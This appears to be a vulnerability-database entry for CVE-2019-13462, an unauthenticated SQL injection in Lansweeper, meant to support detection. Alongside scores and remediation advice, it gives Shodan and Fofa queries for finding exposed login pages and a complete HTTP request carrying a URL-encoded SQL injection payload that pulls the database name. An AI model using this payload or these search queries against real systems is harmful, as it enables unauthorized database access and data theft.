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CVE-2019-13462: Lansweeper Unauthenticated SQL Injection

TitleLansweeper Unauthenticated SQL Injection
Authordivya_mudgal
SeverityCritical
ImpactThis vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Lansweeper system.
RemediationApply the latest security patch or update provided by Lansweeper to fix the SQL Injection vulnerability.
CVSS Score9.1
EPSS Score0.79483
CVE IDCVE-2019-13462
CWE IDCWE-89
Shodan Queryhttp.title:"lansweeper - login"
Fofa Querytitle="lansweeper - login"
Tags cve cve2019 sqli lansweeper vkev vuln

🔍 Vulnerability Description

Lansweeper before 7.1.117.4 allows unauthenticated SQL injection.

🌐 HTTP Request

GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.9
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-13462.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-13462.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A